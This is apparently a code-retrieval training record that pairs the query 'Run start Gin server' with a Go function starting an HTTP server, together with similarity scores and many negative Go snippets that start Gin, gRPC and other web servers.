[ "0.61180705", "0.59233904", "0.58597594", "0.5852887", "0.5807643", "0.5746078", "0.57230395", "0.5710187", "0.5707006", "0.5681951", "0.56719863", "0.5655077", "0.5651875", "0.5590391", "0.55843097", "0.5560937", "0.5555141", "0.5539233", "0.54988444", "0.54941523", "0.5476945", "0.5475803", "0.54638475", "0.54465175", "0.54247516", "0.54220945", "0.5410934", "0.5406836", "0.54065543", "0.5404074", "0.54021937", "0.5395149", "0.5390698", "0.53898317", "0.5388028", "0.5385943", "0.5377969", "0.5362739", "0.53295386", "0.5321328", "0.53131366", "0.5305728", "0.52934766", "0.5290486", "0.5246391", "0.52389336", "0.522962", "0.5228924", "0.52264225", "0.5205958", "0.52030545", "0.5195206", "0.51877886", "0.5185714", "0.51826686", "0.5178057", "0.51776004", "0.5174543", "0.5170754", "0.51679516", "0.5166513", "0.51641023", "0.5150235", "0.5143806", "0.5141573", "0.513917", "0.5137905", "0.51232976", "0.51191455", "0.51036793", "0.5094132", "0.50915676", "0.50908476", "0.5088132", "0.5082886", "0.50795394", "0.5079377", "0.5072719", "0.50713694", "0.5068643", "0.50682217", "0.5065375", "0.50630856", "0.5062179", "0.50599575", "0.5059433", "0.50529796", "0.50518453", "0.5050247", "0.50296944", "0.5028801", "0.50273466", "0.50192475", "0.50189036", "0.501072", "0.50028616", "0.50024927", "0.49935845", "0.4990736", "0.497706" ]
0.65273356
0
Run start Gin server
func Run() { router := getRouter() s := &http.Server{ Addr: "0.0.0.0:8080", Handler: router, ReadTimeout: 10 * time.Second, WriteTimeout: 10 * time.Second, MaxHeaderBytes: 1 << 20, } s.ListenAndServe() }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func main() {\n\trouter := gin.Default()\n\trouter.GET(\"/ping\", func(c *gin.Context) {\n\t\tc.JSON(200, gin.H{\n\t\t\t\"message\": \"pong\",\n\t\t})\n\t})\n\trouter.Run() // listen and serve on 0.0.0.0:8080\n\t//router.Run(\":8080\")\t\n}", "func main() {\n\t// load config\n\tconfig.Init()\n\n\t// services\n\tservices.Init()\n\n\t// start gin server\n\trouter.RunGin()\n}", "func Gin(port int, setup func(*gin.Engine)) *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"start\",\n\t\tShort: \"start a gin server\",\n\t}\n\n\tactualPort := cmd.Flags().Int(\"port\", port, fmt.Sprintf(\"port to bind to, defaults to %d\", port))\n\n\tcmd.RunE = func(cmd *cobra.Command, args []string) error {\n\t\tsrv := gin.Default()\n\t\tsetup(srv)\n\n\t\treturn srv.Run(fmt.Sprintf(\":%d\", *actualPort))\n\t}\n\n\treturn cmd\n}", "func main() {\n\tfmt.Println(\"server is up and running!!\")\n\truntime.GOMAXPROCS(4)\n\n\tapp := gin.Default()\n\n\tsearch.RouterMain(app)\n\n\terr := app.Run(\"0.0.0.0:5000\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Println(\"server got fired!!!!\")\n}", "func (s *server) Run() error {\n\ts.logger.Info(\"starting http server\", logger.String(\"addr\", s.server.Addr))\n\ts.server.Handler = s.gin\n\t// Open listener.\n\ttrackedListener, err := conntrack.NewTrackedListener(\"tcp\", s.addr, s.r)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn s.server.Serve(trackedListener)\n}", "func (h *Server) Run() {\n\n\th.g.StartServer()\n}", "func (c Routes) StartGin() {\n\tr := gin.Default()\n\tapi := r.Group(\"/api\")\n\t{\n\t\tapi.GET(\"/\", welcome)\n\t\tapi.GET(\"/users\", user.GetAllUsers)\n\t\tapi.POST(\"/users\", user.CreateUser)\n\t}\n\tr.Run(\":8000\")\n}", "func (c Routes) StartGin() {\n\tr := gin.Default()\n\tr.Use(cors.Default())\n\tapi := r.Group(\"/api\")\n\t{\n\t\tapi.GET(\"/\", welcome)\n\t\tapi.GET(tasksResource, task.GetTasks)\n\t\tapi.GET(taskResource, task.GetTask)\n\t\tapi.POST(taskResource, task.CreateTask)\n\t\tapi.PATCH(taskResource, task.UpdateTaskStatus)\n\t\tapi.DELETE(taskResource, task.DeleteTask)\n\t}\n\n\tr.Run(\":8000\")\n}", "func main() {\n\trouter := gin.Default()\n\trouter.GET(\"/puppy\", handlePuppy)\n\trouter.Run() // listen and serve on 0.0.0.0:8080 (for windows \"localhost:8080\")\n}", "func (api *API) Run() {\n\tr := gin.Default()\n\n\tapi.configRoutes(r)\n\n\tr.Run() // listen and serve on 0.0.0.0:8080 (for windows \"localhost:8080\")\n}", "func (s *server) runGin(addr string) error {\n\t// s.gin.Run() would not return until error happens or detecting signal\n\t// return s.gin.Run(fmt.Sprintf(\":%d\", s.port))\n\ts.logger.Debug(fmt.Sprintf(\"Listening and serving HTTP on %s\", addr))\n\n\tsrv := &http.Server{\n\t\tAddr: addr,\n\t\tHandler: s.gin,\n\t}\n\tgo func() {\n\t\tif err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {\n\t\t\ts.logger.Error(\"fail to call ListenAndServe()\", zap.Error(err))\n\t\t}\n\t}()\n\tdone := make(chan os.Signal, 1)\n\tsignal.Notify(done, syscall.SIGINT, syscall.SIGTERM)\n\t<-done\n\n\ts.logger.Info(\"Shutting down server...\")\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer func() {\n\t\tcancel()\n\t\ts.Close()\n\t}()\n\tif err := srv.Shutdown(ctx); err != nil {\n\t\ts.logger.Error(\"fatal to call Shutdown():\", zap.Error(err))\n\t\treturn err\n\t}\n\treturn nil\n}", "func StartServer() {\n\tr := gin.Default()\n\n\tcorsCfg := cors.DefaultConfig()\n\tcorsCfg.AllowOrigins = []string{\"http://localhost:1234\"}\n\tr.Use(cors.New(corsCfg))\n\n\tapi := r.Group(\"/api\")\n\t{\n\t\tapi.Any(\"/graphql\", graphQL)\n\t\tapi.GET(\"/players\", players)\n\t\tapi.GET(\"/player_datas\", playerDatas)\n\t}\n\n\tport := os.Getenv(\"PORT\")\n\tif len(port) == 0 {\n\t\tport = \"8080\"\n\t}\n\tr.Run(fmt.Sprintf(\":%s\", port))\n}", "func runServer() {\n\t// listen and serve on 0.0.0.0:8080 (for windows \"localhost:8080\")\n\tlog.Fatalln(router.Run(fmt.Sprintf(\":%s\", env.AppPort)))\n}", "func (s Server) Run() {\n\tlog.Printf(\"[INFO] activate rest server\")\n\n\tgin.SetMode(gin.ReleaseMode)\n\trouter := gin.New()\n\trouter.Use(gin.Recovery())\n\trouter.Use(s.limiterMiddleware())\n\trouter.Use(s.loggerMiddleware())\n\n\tv1 := router.Group(\"/v1\")\n\t{\n\t\tv1.POST(\"/message\", s.saveMessageCtrl)\n\t\tv1.GET(\"/message/:key/:pin\", s.getMessageCtrl)\n\t\tv1.GET(\"/params\", s.getParamsCtrl)\n\t\tv1.GET(\"/ping\", func(c *gin.Context) { c.String(200, \"pong\") })\n\t}\n\n\tlog.Fatal(router.Run(\":8080\"))\n}", "func (server *Server) runServer() {\n\tserver.G.Go(func() error {\n\t\tserver.API.log.Info(\"running server %v\", server.config.Server.ListenAddr)\n\t\treturn http.ListenAndServe(server.config.Server.ListenAddr, server.Server.Handler)\n\t})\n}", "func (s *Server) Run() {\n\trouter := gin.Default()\n\n\tv1 := router.Group(\"/v1\")\n\t{\n\t\tv1.POST(\"/login\", s.authMiddleware.LoginHandler)\n\t\tv1.POST(\"/users\", s.createUser)\n\n\t\tv1.Use(s.authMiddleware.MiddlewareFunc())\n\t\t{\n\n\t\t\tv1.GET(\"/tasks\", s.allTasks)\n\t\t\tv1.GET(\"/tasks/:id\", s.getTask)\n\t\t\tv1.POST(\"/tasks\", s.createTask)\n\t\t\tv1.PUT(\"/tasks/:id\", s.updateTask)\n\t\t}\n\t}\n\n\trouter.Run(\":\" + s.config.Port)\n}", "func Run() error {\n\tgo server.ListenAndServe()\n\t// TODO: Improve error handling\n\treturn nil\n}", "func Run() error {\n\tcloseLogger, err := setupLogger()\n\tif err != nil {\n\t\treturn fail.Wrap(err)\n\t}\n\tdefer closeLogger()\n\n\ts := grapiserver.New(\n\t\tgrapiserver.WithGrpcServerUnaryInterceptors(\n\t\t\tgrpc_ctxtags.UnaryServerInterceptor(grpc_ctxtags.WithFieldExtractor(grpc_ctxtags.CodeGenRequestFieldExtractor)),\n\t\t\tgrpc_zap.UnaryServerInterceptor(zap.L()),\n\t\t\tgrpc_zap.PayloadUnaryServerInterceptor(\n\t\t\t\tzap.L(),\n\t\t\t\tfunc(ctx context.Context, fullMethodName string, servingObject interface{}) bool { return true },\n\t\t\t),\n\t\t),\n\t\tgrapiserver.WithGatewayServerMiddlewares(\n\t\t\tgithubEventDispatcher,\n\t\t),\n\t\tgrapiserver.WithServers(\n\t\t\tgithub.NewInstallationEventServiceServer(),\n\t\t),\n\t)\n\treturn s.Serve()\n}", "func Start() {\n\tr := gin.Default()\n\tr.GET(\"/ping\", func(c *gin.Context) {\n\t\tc.JSON(200, gin.H{\n\t\t\t\"message\": \"pong\",\n\t\t})\n\t})\n\tr.POST(\"/registry\", controllers.InsertRegistry)\n\tr.GET(\"/registry\", controllers.GetRegistryAll)\n\tr.GET(\"/registry/:id/\", controllers.GetRegistry)\n\tr.DELETE(\"/registry/:id/\", controllers.DeleteRegistry)\n\tr.PUT(\"/registry/:id/\", controllers.PutRegistry)\n\tr.Run(\":8080\") // listen and serve on 0.0.0.0:8080\n}", "func RunServer(server *ophttp.Server) {\n\thttp.Handle(\"/greeting\", http.HandlerFunc(GreetingHandler))\n\tserver.Start()\n}", "func Run() error {\n\ts := grapiserver.New(\n\t\tgrapiserver.WithDefaultLogger(),\n\t\tgrapiserver.WithServers(\n\t\t// TODO\n\t\t),\n\t)\n\treturn s.Serve()\n}", "func main() {\n\tserver.New().Start()\n}", "func (s *server) Start() (*gin.Engine, error) {\n\ts.logger.Info(\"server Start()\")\n\n\ts.setMiddleware()\n\n\tif err := s.loadTemplates(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := s.loadStaticFiles(); err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.setRouter(s.gin)\n\n\t// set profiling for development use\n\tif s.developConf.ProfileEnable {\n\t\tginpprof.Wrapper(s.gin)\n\t}\n\n\t// s.run() is not required if working for unittest\n\tif s.isTestMode {\n\t\treturn s.gin, nil\n\t}\n\n\terr := s.run()\n\treturn nil, err\n}", "func Start() {\n\trouter := gin.Default()\n\trouter.SetFuncMap(map[string]interface{}{\n\t\t\"formatAsTimeAgo\": formatAsTimeAgo,\n\t})\n\trouter.LoadHTMLGlob(\"templates/*\")\n\t// Mount favicon\n\trouter.Use(favicon.New(\"./favicon.ico\"))\n\n\t// Not found\n\trouter.NoRoute(func(c *gin.Context) {\n\t\tc.HTML(404, \"404.html\", gin.H{})\n\t})\n\n\t// Mount controllers\n\tMountIndexController(router)\n\n\trouter.GET(\"/ping\", func(c *gin.Context) {\n\t\tc.JSON(200, gin.H{\n\t\t\t\"message\": \"pong\",\n\t\t})\n\t})\n\n\trouter.Run()\n}", "func (server *Server) Run(addr string) {\n\tlog.Println(\"Yinyo is ready and waiting.\")\n\tlog.Fatal(http.ListenAndServe(addr, server.router))\n}", "func StartApplicatin() {\n\tmapUrls()\n\trouter.Run(\":8080\")\n}", "func Run() error {\n\ts := grapiserver.New(\n\t\tgrapiserver.WithDefaultLogger(),\n\t\tgrapiserver.WithGrpcAddr(\"tcp\", \":3000\"),\n\t\tgrapiserver.WithGatewayAddr(\"tcp\", \":4000\"),\n\t\tgrapiserver.WithServers(\n\t\t\tserver.NewInvoiceServiceServer(),\n\t\t),\n\t)\n\treturn s.Serve()\n}", "func Run() error {\n\tvar err error\n\n\ts := NewServer()\n\tport := \":1729\"\n\tfmt.Printf(\"Listening on %s...\\n\", port)\n\thttp.ListenAndServe(port, s)\n\n\treturn err\n}", "func (s *Server) Run() {\n\tgo func() {\n\t\t// start serving\n\t\tif err := s.httpServer.ListenAndServe(); err != nil {\n\t\t\tlog.Errora(err)\n\t\t}\n\t}()\n}", "func (s *Server) Run() error {\n\tbg := s.logger.Bg()\n\tlis, err := net.Listen(\"tcp\", s.hostPort)\n\n\tif err != nil {\n\t\tbg.Fatal(\"Unable to start server\", zap.Error(err))\n\t\treturn err\n\t}\n\n\tbg.Info(\"Starting\", zap.String(\"address\", \"tcp://\"+s.hostPort))\n\treturn s.Gs.Serve(lis)\n}", "func Run(apps map[string]interface{}, port string) {\n\trouter := mux.NewRouter()\n\tinitialize(apps, router)\n\n\tn := negroni.Classic()\n\tn.UseHandler(router)\n\tn.Run(\":\" + port)\n}", "func main() {\n\ta := App{}\n\ta.Initialize()\n\ta.Run(\":8000\")\n}", "func StartApp() {\n\turlMappings()\n\trouter.Run(\"localhost:8080\")\n}", "func GinServer() {\n\t// Set Gin to production mode\n\tgin.SetMode(gin.ReleaseMode)\n\n\t// Set the router as the default one provided by Gin\n\trouter = gin.Default()\n\n\t// Process the templates at the start so that they don't have to be loaded\n\t// from the disk again. This makes serving HTML pages very fast.\n\trouter.LoadHTMLGlob(\"static/templates/*\")\n\n\t// Initialize the routes\n\tinitializeRoutes()\n\n\thttp.Handle(\"/\", router)\n}", "func Run() {\n\n\tgo func() {\n\t\terrors := setupTemplates(\"server/templates\")\n\t\tif errors != nil {\n\t\t\tfmt.Println(errors)\n\t\t}\n\t}()\n\n\tfmt.Println(\"Starting server...\")\n\thttp.HandleFunc(\"/\", index)\n\thttp.HandleFunc(\"/view\", view)\n\thttp.Handle(\"/static/\", http.StripPrefix(\"/static/\", http.FileServer(http.Dir(\"server/static/\"))))\n\thttp.ListenAndServe(\":8080\", nil)\n}", "func main() {\n\tserver.StartUp(false)\n}", "func main() {\n\tfmt.Println(\"################################\")\n\tfmt.Println(\"#### Hello from MyAppStatus ####\")\n\tfmt.Println(\"################################\")\n\n\tapp.StartServer()\n}", "func Run(cfg *config.Config) {\n\n\tvar wg sync.WaitGroup\n\n\twg.Add(2)\n\tr := newRouter(cfg.StaticPath)\n\tport := os.Getenv(\"PORT\")\n\tif port != \"\" {\n\t\t// production\n\t\tlog.WithField(\"port\", port).Info(\"Server started\")\n\t\tlog.Fatal(http.ListenAndServe(\":\"+port, r))\n\t} else {\n\t\t// dev\n\t\tserve(wg, cfg, r)\n\t}\n\n\twg.Wait()\n}", "func Run() {\n\tApp.Init()\n\n\tif Config.String(\"address\") != \"\" {\n\t\tLog.Info(fmt.Sprintf(\"listening on %s\", Config.String(\"address\")))\n\t\tLog.Error(http.ListenAndServe(Config.String(\"address\"), App.Router))\n\t} else {\n\t\tLog.Info(fmt.Sprintf(\"listening on port :%d\", Config.Int(\"port\")))\n\t\tLog.Error(http.ListenAndServe(fmt.Sprintf(\":%d\", Config.Int(\"port\")), App.Router))\n\t}\n}", "func (f *Floki) Run() {\n\tlogger := f.logger\n\n\tif Env == Prod {\n\t\truntime.GOMAXPROCS(runtime.NumCPU())\n\t}\n\n\ttplDir := f.GetParameter(\"views dir\").(string)\n\tf.SetParameter(\"templates\", compileTemplates(tplDir, logger))\n\n\tport := os.Getenv(\"PORT\")\n\tif port == \"\" {\n\t\tport = \"3000\"\n\t}\n\n\thost := os.Getenv(\"HOST\")\n\t_ = host\n\n\taddr := host + \":\" + port\n\tlogger.Printf(\"listening on %s (%s)\\n\", addr, Env)\n\n\tif err := http.ListenAndServe(addr, f); err != nil {\n\t\tpanic(err)\n\t}\n}", "func (s *Server) Run(options ...func(*gin.RouterGroup)) {\n\tlog.Printf(\"[INFO] activate rest server\")\n\n\trouter := gin.New()\n\n\trouter.Use(gin.Recovery())\n\n\trouter.Use(s.loggerMiddleware())\n\n\trouter.GET(\"/ping\", s.pingCtrl)\n\n\tv1 := router.Group(\"/v1\")\n\n\t// Cors headers\n\tconfigCors := cors.DefaultConfig()\n\tconfigCors.AllowAllOrigins = true\n\tconfigCors.AllowHeaders = []string{\"Origin\", \"Content-Length\", \"Content-Type\", \"Authorization\"}\n\n\tv1.Use(cors.New(configCors))\n\n\t// Set Authorization if we have ENV settings\n\tif len(s.BasicAuthUser) > 0 {\n\t\tv1.Use(gin.BasicAuth(gin.Accounts{\n\t\t\ts.BasicAuthUser: s.BasicAuthPWD,\n\t\t}))\n\t}\n\n\tfor _, op := range options {\n\t\tif op != nil {\n\t\t\top(v1)\n\t\t}\n\t}\n\n\tlog.Fatal(router.Run(\":\" + s.ServerPort))\n}", "func Run() error {\n\tgo StartServer()\n\n\tlis, err := net.Listen(\"tcp\", \":50051\")\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to listen: %v\", err)\n\t}\n\n\ts := grpc.NewServer()\n\n\tklessapi.RegisterKlessAPIServer(s, &apiserver.APIServer{})\n\tif err := s.Serve(lis); err != nil {\n\t\tlog.Fatalf(\"failed to serve: %v\", err)\n\t}\n\treturn nil\n}", "func (s *SamFSServer) Run() error {\n\tlis, err := net.Listen(\"tcp\", s.port)\n\tif err != nil {\n\t\tglog.Fatalf(\"falied to listen on port :: %s(err=%s)\", s.port, err.Error())\n\t\treturn err\n\t}\n\n\trand.Seed(time.Now().UnixNano())\n\ts.sessionID = rand.Int63()\n\tglog.Infof(\"starting new server with sessionID %d\", s.sessionID)\n\n\tgs := grpc.NewServer()\n\tpb.RegisterNFSServer(gs, s)\n\ts.grpcServer = gs\n\treturn gs.Serve(lis)\n}", "func main() {\n\tserver := server.NewHTTPServer()\n\tserver.Start(3000)\n}", "func (a *App) Run() {\n\tlog.Fatal(http.ListenAndServe(\":8000\", a.router))\n}", "func (s *Server) Run(addr string) {\n\tfmt.Println(\"Listening to port 8080\")\n\tlog.Fatal(http.ListenAndServe(addr, s.Router))\n}", "func (h *Handler) Run() {\n\tlog.Printf(\"Listening on %s\", h.Cfg.Server.Address)\n\tserver := &http.Server{\n\t\tHandler: getRouter(),\n\t\tAddr: h.Cfg.Server.Address,\n\t}\n\th.listenErrCh <- server.ListenAndServe()\n}", "func Example() {\n\thttpgo.NewServer(\"foo\", \"1.1.0\", true).Start(\"127.0.0.1\", 8000, \"turing\")\n}", "func Run() error {\n\tr := mux.NewRouter()\n\n\tr.HandleFunc(\"/\", home.Handler)\n\tr.HandleFunc(\"/login\", login.Handler)\n\tr.HandleFunc(\"/logout\", logout.Handler)\n\tr.HandleFunc(\"/callback\", callback.Handler)\n\tr.Handle(\"/user\", negroni.New(\n\t\tnegroni.HandlerFunc(middlewares.IsAuthenticated),\n\t\tnegroni.Wrap(http.HandlerFunc(user.Handler)),\n\t))\n\tr.PathPrefix(\"/public/\").Handler(http.StripPrefix(\"/public/\", http.FileServer(http.Dir(\"public/\"))))\n\thttp.Handle(\"/\", r)\n\tlog.Print(\"Server listening on http://localhost:3000/\")\n\treturn http.ListenAndServe(\"0.0.0.0:3000\", nil)\n}", "func main() {\n\tservice.StartWebServer(\"8081\")\n}", "func main() {\n\tr := gin.New()\n\tr.Use(cors.Default())\n\n\t//r.GET(\"/email\", ctrl.GenEmail)\n\tr.GET(\"/gentax\", ctrl.GenTaxData)\n\n\tr.Run(\":8099\")\n}", "func (s *Server) Run() error {\n\t// start fetcher, reporter and doc generator in goroutines\n\tgo s.fetcher.Run()\n\tgo s.reporter.Run()\n\tgo s.docGenerator.Run()\n\n\t// start webserver\n\tlistenAddress := s.listenAddress\n\tif listenAddress == \"\" {\n\t\tlistenAddress = DefaultAddress\n\t}\n\n\tr := mux.NewRouter()\n\n\t// register ping api\n\tr.HandleFunc(\"/_ping\", pingHandler).Methods(\"GET\")\n\n\t// github webhook API\n\tr.HandleFunc(\"/events\", s.gitHubEventHandler).Methods(\"POST\")\n\n\t// travisCI webhook API\n\tr.HandleFunc(\"/ci_notifications\", s.ciNotificationHandler).Methods(\"POST\")\n\n\tlogrus.Infof(\"start http server on address %s\", listenAddress)\n\treturn http.ListenAndServe(listenAddress, r)\n}", "func (s *Server) Run() {\n\tlog.Printf(\"[INFO] activate rest server on port %v\", s.Port)\n\tlog.Fatal(http.ListenAndServe(fmt.Sprintf(\"%v:%v\", s.address, s.Port), s.routes()))\n}", "func (s *Server) Run(ctx context.Context, wg *sync.WaitGroup) {\n\tif err := s.Config.Validate(); err != nil {\n\t\tlog.Panicf(\"invalid server config: %s\\n\", err)\n\t}\n\n\thandler := &http.Server{\n\t\tHandler: s.Router,\n\t\tAddr: \":\" + strconv.Itoa(s.Config.Port),\n\t}\n\n\tstartServer(ctx, handler, wg)\n}", "func main() {\n\n\t// This will pack config-files folder inside binary\n\t// you need rice utility for it\n\tbox := rice.MustFindBox(\"config-files\")\n\n\tinitErr := initializer.InitAll(box)\n\tif initErr != nil {\n\t\tlog.Fatalln(initErr)\n\t}\n\tr := gin.Default()\n\tpprof.Register(r)\n\tr.GET(\"/doc/*any\", ginSwagger.WrapHandler(swaggerFiles.Handler))\n\tdocs.SwaggerInfo.Host = \"\"\n\tr.GET(\"/\", func(c *gin.Context) {\n\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\"message\": \"Server is up and running!\",\n\t\t})\n\t})\n\tr.NoRoute(func(c *gin.Context) {\n\t\tc.JSON(404, gin.H{\"code\": \"RouteNotFound\"})\n\t})\n\tapi.InitAPI(r)\n\tgo func() {\n\t\terr := r.Run(\":9050\")\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}()\n\tstorage.GetStorageInstance().Close()\n}", "func main() {\n\tgodotenv.Load()\n\n\tport := os.Getenv(\"REST_PORT\")\n\tif port == \"\" {\n\t\tport = \"8080\"\n\t}\n\n\tserver, err := start(port)\n\tif err != nil {\n\t\tlog.Println(\"err:\", err)\n\t\treturn\n\t}\n\n\terr = stopServer(server)\n\tif err != nil {\n\t\tlog.Println(\"err:\", err)\n\t\treturn\n\t}\n\n\treturn\n}", "func run() error {\n\tlistenOn := \"127.0.0.1:8080\"\n\tlistener, err := net.Listen(\"tcp\", listenOn)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to listen on %s: %w\", listenOn, err)\n\t}\n\n\tserver := grpc.NewServer()\n\tuserv1.RegisterUserServiceServer(server, &userServiceServer{})\n\tlog.Println(\"Listening on\", listenOn)\n\n\tif err := server.Serve(listener); err != nil {\n\t\treturn fmt.Errorf(\"failed to serve gRPC server: %w\", err)\n\t}\n\n\treturn nil\n}", "func runAPIServer() {\n\trouter := gin.Default()\n\trouter.POST(\"/alert\", alert)\n\trouter.Run(\":\" + strconv.Itoa(config.APIPort))\n}", "func startServer(dataSlice []string) {\n\te := echo.New()\n\n\te.GET(\"/\", func(f echo.Context) error {\n\t\treturn f.JSON(http.StatusOK, dataSlice)\n\t})\n\n\tfmt.Println(\"Server running: http://localhost:8000\")\n\te.Logger.Fatal(e.Start(\":8000\"))\n}", "func Run(params *ContextParams) {\n\tr := createRouter(params)\n\n\tendless.DefaultHammerTime = 10 * time.Second\n\tendless.DefaultReadTimeOut = 295 * time.Second\n\tif err := endless.ListenAndServe(\":8080\", r); err != nil {\n\t\tlog.Infof(\"Server stopped: %s\", err)\n\t}\n}", "func main() {\n\t// load config and construct the server shared environment\n\tcfg := common.LoadConfig()\n\tlog := services.NewLogger(cfg)\n\n\t// create repository\n\trepo, err := repository.NewRepository(cfg, log)\n\tif err != nil {\n\t\tlog.Fatalf(\"Can not create application data repository. Terminating!\")\n\t}\n\n\t// setup GraphQL API handler\n\thttp.Handle(\"/api\", handlers.ApiHandler(cfg, repo, log))\n\n\t// show the server opening info and start the server with DefaultServeMux\n\tlog.Infof(\"Welcome to Fantom Rocks API server on [%s]\", cfg.BindAddr)\n\tlog.Fatal(http.ListenAndServe(cfg.BindAddr, nil))\n}", "func StartServer(port string) {\n\tr := gin.New()\n\tr.GET(\"/:p1\", middleWare)\n\tr.GET(\"/:p1/:p2\", middleWare)\n\tr.GET(\"/:p1/:p2/:p3\", middleWare)\n\tr.GET(\"/:p1/:p2/:p3/:p4\", middleWare)\n\tr.GET(\"/:p1/:p2/:p3/:p4/:p5\", middleWare)\n\tr.GET(\"/:p1/:p2/:p3/:p4/:p5/:p6\", middleWare)\n\tr.GET(\"/:p1/:p2/:p3/:p4/:p5/:p6/:p7\", middleWare)\n\tr.GET(\"/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8\", middleWare)\n\tr.Run(\":\" + port)\n}", "func RunServer(configFile string) {\n\tc := make(chan os.Signal, 1)\n\tsignal.Notify(c, syscall.SIGTERM)\n\tserver, err := NewServer(configFile)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tlog.Info(\"Gohan no jikan desuyo (It's time for dinner!)\")\n\tlog.Info(\"Build version: %s\", version.Build.Version)\n\tlog.Info(\"Build timestamp: %s\", version.Build.Timestamp)\n\tlog.Info(\"Build host: %s\", version.Build.Host)\n\tlog.Info(\"Starting Gohan Server...\")\n\taddress := server.address\n\tif strings.HasPrefix(address, \":\") {\n\t\taddress = \"localhost\" + address\n\t}\n\tprotocol := \"http\"\n\tif server.tls != nil {\n\t\tprotocol = \"https\"\n\t}\n\tlog.Info(\" API Server %s://%s/\", protocol, address)\n\tlog.Info(\" Web UI %s://%s/webui/\", protocol, address)\n\tgo func() {\n\t\tfor range c {\n\t\t\tlog.Info(\"Stopping the server...\")\n\t\t\tlog.Info(\"Tearing down...\")\n\t\t\tlog.Info(\"Stopping server...\")\n\t\t\tserver.Stop()\n\t\t}\n\t}()\n\tserver.running = true\n\tserver.masterCtx, server.masterCtxCancel = context.WithCancel(context.Background())\n\n\tserver.startSyncProcesses()\n\n\tstartCRONProcess(server)\n\tmetrics.StartMetricsProcess()\n\terr = server.Start()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func (e *Engine) Run() error {\n\treturn e.gin.Run(\":\" + e.port)\n}", "func main() {\n\n\t// Loads env variables\n\t//err := godotenv.Load()\n\t//if err != nil {\n\t//\tlog.Fatal(\"Error loading .env file\")\n\t//\treturn\n\t//}\n\n\t//http.HandleFunc(\"/\", handler)\n\t//log.Fatal(http.ListenAndServe(fmt.Sprintf(\":%s\", \"8080\"), nil))\n\tgodotenv.Load()\n\n\trouter := entry.Initialize()\n\trouter.Run(\":3000\")\n}", "func main() {\n if len(os.Args) != 2 {\n log.Panic(\"args:\", \"<port>\")\n }\n port := os.Args[1]\n startServer(port)\n}", "func Run() {\n\tgetRoutes()\n\trouter.Run(\":5000\")\n}", "func (s *Server) Start() (*gin.Engine, error) {\n\tif s.conf.Environment == \"production\" {\n\t\t//For release\n\t\tgin.SetMode(gin.ReleaseMode)\n\t}\n\n\t// Global middleware\n\ts.setMiddleWare()\n\n\t// Templates\n\ts.loadTemplates()\n\n\t// Static\n\ts.loadStaticFiles()\n\n\t// Set router (from urls.go)\n\ts.SetURLOnHTTP(s.gin)\n\n\t// Set Profiling\n\tif s.conf.Develop.ProfileEnable {\n\t\tginpprof.Wrapper(s.gin)\n\t}\n\n\tif s.isTestMode {\n\t\treturn s.gin, nil\n\t}\n\n\t// Run\n\terr := s.run()\n\treturn nil, err\n}", "func main() {\n\tif len(os.Args) != 2 {\n\t\tlog.Fatal(\"Usage: ./server-go [server port]\")\n\t}\n\tserver_port := os.Args[1]\n\tserver(server_port)\n}", "func (s *server) Run(addr string) error {\n\treturn http.ListenAndServe(addr, s.handler)\n}", "func run(cfg config.Config, flags config.Flags) {\n\tdb.InitDb(cfg)\n\tburger.InitRepository(burger.NewMongoRepository(db.DB))\n\n\tif flags.Migrate {\n\t\tmigration.CreateCollections()\n\t}\n\n\tapi := http.Server{\n\t\tAddr: cfg.Web.Host + \":\" + cfg.Web.Port,\n\t\tHandler: routes.CreateHandlers(),\n\t\tReadTimeout: cfg.Web.Timeout.Read * time.Second,\n\t\tWriteTimeout: cfg.Web.Timeout.Write * time.Second,\n\t}\n\n\tif err := api.ListenAndServe(); err != nil {\n\t\tconfig.Logger.Println(\"ERROR\", err)\n\t}\n}", "func (s *Server) Run(log *logrus.Entry) error {\n\ts.log = log.WithField(\"app\", AppName)\n\n\t// Init the app\n\ts.InitStart(log)\n\n\ts.gracefulServer = s.httpServer(s.log)\n\terr := s.gracefulServer.ListenAndServe()\n\tif err != nil && err != http.ErrServerClosed {\n\t\treturn err\n\t}\n\treturn nil\n}", "func Run(addr string) {\n\tmainServer.Run(addr)\n}", "func Run(ctx context.Context) error {\n\trouter := Router(ctx)\n\n\tviews.Routes(router)\n\n\trouter.Run(fmt.Sprintf(\":%d\", config.FromContext(ctx).Server.Port))\n\n\treturn nil\n}", "func Run(h http.Handler) {\n\tsrv := createServer(h)\n\tgo gracefullyShutDownOnSignal(srv, context.Background())\n\tif err := srv.ListenAndServe(); err != http.ErrServerClosed {\n\t\tlog.Fatalf(\"Unable to to start server: %v\", err)\n\t}\n}", "func run(configFile string) error {\n\tcfg, err := LoadConfig(configFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Start remote signer (must start before node if running builtin).\n\tif cfg.PrivValServer != \"\" {\n\t\tif err = startSigner(cfg); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif cfg.Protocol == \"builtin\" {\n\t\t\ttime.Sleep(1 * time.Second)\n\t\t}\n\t}\n\n\t// Start app server.\n\tswitch cfg.Protocol {\n\tcase \"socket\", \"grpc\":\n\t\terr = startApp(cfg)\n\tcase \"builtin\":\n\t\tif len(cfg.Misbehaviors) == 0 {\n\t\t\tif cfg.Mode == string(e2e.ModeLight) {\n\t\t\t\terr = startLightClient(cfg)\n\t\t\t} else {\n\t\t\t\terr = startNode(cfg)\n\t\t\t}\n\t\t} else {\n\t\t\terr = startMaverick(cfg)\n\t\t}\n\tdefault:\n\t\terr = fmt.Errorf(\"invalid protocol %q\", cfg.Protocol)\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Apparently there's no way to wait for the server, so we just sleep\n\tfor 